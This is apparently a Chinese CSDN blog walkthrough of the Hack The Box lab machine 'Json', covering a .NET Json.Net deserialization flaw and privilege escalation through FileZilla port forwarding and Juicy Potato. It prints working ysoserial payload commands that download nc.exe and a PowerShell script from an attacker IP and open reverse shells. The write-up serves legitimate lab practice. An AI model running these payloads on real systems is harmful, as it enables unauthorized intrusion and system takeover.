Hack The Box——Json

目录

简介

信息收集

漏洞发现

漏洞利用

获取用户Shell

权限提升

获取ftp admin权限

溢出提权/内核漏洞提权

DLL注入提权

滥用权限提权

总结


简介

这是一个非常好的靶机,按照渗透测试一般流程去渗透就可以了,只是需要细心和有耐心。从端口扫描到使用BurpSuite测试提交的数据,然后分析可能的漏洞,验证漏洞是否确实存在,接着利用漏洞获取普通权限的Shell,最后提升权限获取root.txt的内容。每一步都没有考验脑洞,是个练习渗透测试的好靶机。

信息收集

使用nmap -A -sC 10.10.10.158扫描目标主机,如图:

发现开启21,80,135,139,445等端口,且操作系统基本断定是Windows Server 2012了,尝试常见的ftp弱口令,未果,扫描共享的文件夹,如图:

使用dirbuster扫描web目录,如图:

然后查看/js/app.min.js文件,如图:

使用Python编写format.py程序提高js文件可读性:

#!/usr/bin/python3

l = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]
js='var _0xd18f = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "\x42\x65\x61\x72\x65\x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])'

for i in range(len(l)):
    l[i]="%s" % l[i]
    js=js.replace('_0xd18f['+str(i)+']',l[i])
print(js)

运行程序,并将输出结果复制到JavaScript格式化工具,格式化之后如下:

var _0xd18f = ["principalController", "$http", "$scope", "$cookies", "OAuth2", "get", "UserName", "Name", 
"data", "remove", "href", "location", "login.html", "then", "/api/Account/", "controller", "loginController", 
"credentials", "", "error", "index.html", "login", "message", "Invalid Credentials.", "show", "log", "/api/token", 
"post", "json", "ngCookies", "module"];
angular[module](json, [ngCookies])[controller](loginController, [$http, $scope, $cookies, function (_0x30f6x1, 
_0x30f6x2, _0x30f6x3) 
{
    _0x30f6x2[credentials] = {
        UserName : , Password : 
    };
    _0x30f6x2[error] = {
        message : , show : false 
    };
    var _0x30f6x4 = _0x30f6x3[get](OAuth2);
    if (_0x30f6x4) {
        window[location][href] = index.html ;
    };
    _0x30f6x2[login] = function () 
    {
        _0x30f6x1[post](/api/token, _0x30f6x2[credentials])[then](function (_0x30f6x5) 
        {
            window[location][href] = index.html ;
        },
        function (_0x30f6x6) 
        {
            _0x30f6x2[error][message] = Invalid Credentials.;
            _0x30f6x2[error][show] = true;
            console[log](_0x30f6x6) 
        }) 
    }
}])[controller](principalController, [$http, $scope, $cookies, function (_0x30f6x1, _0x30f6x2, _0x30f6x3) 
{
    var _0x30f6x4 = _0x30f6x3[get](OAuth2);
    if (_0x30f6x4) 
    {
        _0x30f6x1[get](/api/Account / , {
            headers : {
                "Bearer" : _0x30f6x4 
            }
        })[then](function (_0x30f6x5) 
        {
            _0x30f6x2[UserName] = _0x30f6x5[data][Name] ;
        },
        function (_0x30f6x6) 
        {
            _0x30f6x3[remove](OAuth2);
            window[location][href] = login.html ;
        }) 
    }
    else {
        window[location][href] = login.html ;
    }
}])

然而并没什么有价值的发现,仅仅是对HTTP请求做的一些处理,使用浏览器访问80端口,页面短暂停留后跳转到登录页面,尝试admin/admin发现成功登录,如图:

发现一个搜索框,尝试搜索发现完全没有反应,点击页面中的按钮也都不可用,在页面底部发现一段话,如图:

搜索Bootstrap 4发现只存在XSS漏洞,利用XSS也无法获取到Shell,且没找到相关教程。

漏洞发现

使用Nmap自带的脚本扫描445端口是否存在已知的严重漏洞,如图:

但是445端口不存在已知漏洞,然后删除网页Cookie信息,开启Burp Suite,重新登录,拦截数据包,如图:

发现用户名和密码以明文方式通过json格式提交到/api/token,从Hack The Box主机名Json可看出应该是通过json获取shell。使用Base64 解码HTTP响应中的OAuth2,如图:

包含了用户ID,用户名,密码hash值,Name和角色信息,Forward之后又出现一个获取/api/Account/的请求,然后发送到Repeater模块Send之后,如图:

HTTP请求头中包含刚刚提交到/api/token返回的OAuth2和Bearer参数(数据相同),且Send之后返回的数据为Base64解码的结果。然后将HTTP请求发送到Intruder模块,使用模糊测试字典对参数进行测试,如图:

Start之后,Status出现大量500,查看HTTP响应,如图:

显示发生错误,原因是base64格式不正确,然后查看HTTP请求,如图:

然后尝试是否存在java反序列化漏洞,使用工具ysoserial .net生成Josn.Net数据(ysoserial.exe -g ObjectDataProvider -f Json.Net -c "curl http://10.10.14.68/nc.exe  -o nc.exe"),检查生成的数据无误后添加-o base64选项生成base64编码的数据,如图:

然后替换HTTP请求中Bearer参数的值,然后Send,如图:

返回的json数据和之前模糊测试返回的不同,查看http服务,如图:

这说明命令没有执行或者是系统不存在curl.exe又或者被禁用了,然后尝试使用wget也是同样的结果,当使用certutil时,如图:

可见,目标主机存在.NET反序列化漏洞(也可以叫远程命令执行漏洞),命令成功执行了,且目标主机禁用或不存在curl.exe和wget.exe程序。

漏洞利用

  • 获取用户Shell

1、重新执行命令将nc.exe下载到C:\Windows\Temp\下,然后使用ysoserial.exe -g ObjectDataProvider -f Json.Net -c "C:\windows\temp\nc.exe 10.10.14.68 4444 -e cmd.exe" -o base64生成Json数据,在Burp Suite中替换Bearer参数的值,Send之后成功获取shell,如图:

2、也可以使用Nishang的powershell脚本获取shell,将powershell脚本下载到本地web目录,并赋予读、写和执行的权限,使用ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -w hidden -noni -nop -c \"IEX(New-Object Net.WebClient).downloadString('http://10.10.14.68/powershell.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.68 -Port 4444\""  -o base64生成base64编码的数据,然后直接替换HTTP请求头中的数据,提交即可,如图:

权限提升

  • 获取ftp admin权限

现在要做的就是提升到SYSTEM权限,回想到信息收集的时候开了很多端口,其中21端口运行着FileZilla ftp服务,这里应该可以提权,然后查看文件夹,寻找FileZilla文件夹,如图:

在C:\Program Files(x86)下发现FileZilla Server文件夹,然后查看文件夹中的内容,查看FileZilla Server.xml,如图:

可以发现ftp管理端口在14147监听,用户名为superadmin,密码的哈希值和盐值,尝试破解密码没成功。使用netstat -ano查看端口信息,如图:

发现14147正在监听,且只允许本地访问,但是未开启3389端口(无法粘滞键呼出cmd.exe,故无法利用FileZilla+Shift粘滞键提权)。但可以读取的superadmin目录下的文件(肯定包含root.txt),因此需要将14147端口转发到本地。将lcx.exe等端口转发工具上传到目标主机,然后在本机执行lcx.exe -listen 9999 8888将本地9999端口转发到8888,然后在目标主机执行lcx.exe -slave 10.10.14.68 9999 127.0.0.1 14147将目标主机14147端口转发到本地9999端口,如图:

然后使用FileZilla Server(需要安装到本地主机)连接本地8888端口,如图:

连接成功后,如图:

然后点击上图红框图标编辑用户配置,如图:

修改密码,然后就可以访问ftp://10.10.10.158,使用刚刚修改的密码登录,然后就可以获取到root.txt了。但是从CTF角度来讲我们成功获取到了flag,但是从渗透测试角度来讲,这才刚刚开始(没获取到NT AUTHORITY\SYSTEM总觉得没结束)。

  • 溢出提权/内核漏洞提权

使用systeminfo命令查看系统信息,及安装的补丁信息,如图:

发现操作系统是确实是Windows Server 2012 R2,且是64位,未安装任何补丁程序。将结果复制到Windows在线提权EXP辅助网站,如图:

然而,一一尝试之后并未能成功提权。 

  • DLL注入提权

使用msfvenom生成反弹shell的serv.dll文件,如图:

然后使用之前获取的PowerShell(cmd shell执行powershell脚本不大方便)将serv.dll文件和PowerSploit中的Invoke-DllInjection.ps1上传到目标服务器,同时在本机开启888端口的监听,如图:

使用get-process命令查看运行的进程及PID,如图:

很遗憾,权限有点低,无法获取到具有SYSTEM权限的进程信息。尝试执行进程注入,如图:

 未获取到返回的Shell。

  • 滥用权限提权

查看当前用户的权限,如图:

可以看到用户开启了SeImpersonatePrivilege,这说明可以使用Juicy Potato进行提权。将JuicyPotato.exe文件上传到目标主机并重命名为jp.exe,然后用批处理写一个反弹shell的脚本命名为reverse.bat,然后在JuicyPotato项目的CLSID文件夹中寻找和目标主机相匹配的CLSID尝试提权,如图:

很幸运,第二个就成功了,然后在本地监听8888端口的终端成功获得反弹回的SYSTEM权限的Shell,如图:

总结

本文记录了对Hack The Box::Json主机渗透测试的完整流程。总体来说对这个主机的渗透还是比较容易的,只是在提权的时候不能用内核漏洞和DLL注入提权成功,DLL注入提权未成功应该是因为在命令行下无法查看到SYSTEM权限的进程,如果开启远程桌面应该会比较容易吧,渗透测试过程还是比较顺利的。

发布了31 篇原创文章 · 获赞 55 · 访问量 28万+

猜你喜欢

转载自blog.csdn.net/qq_32261191/article/details/104558088
今日推荐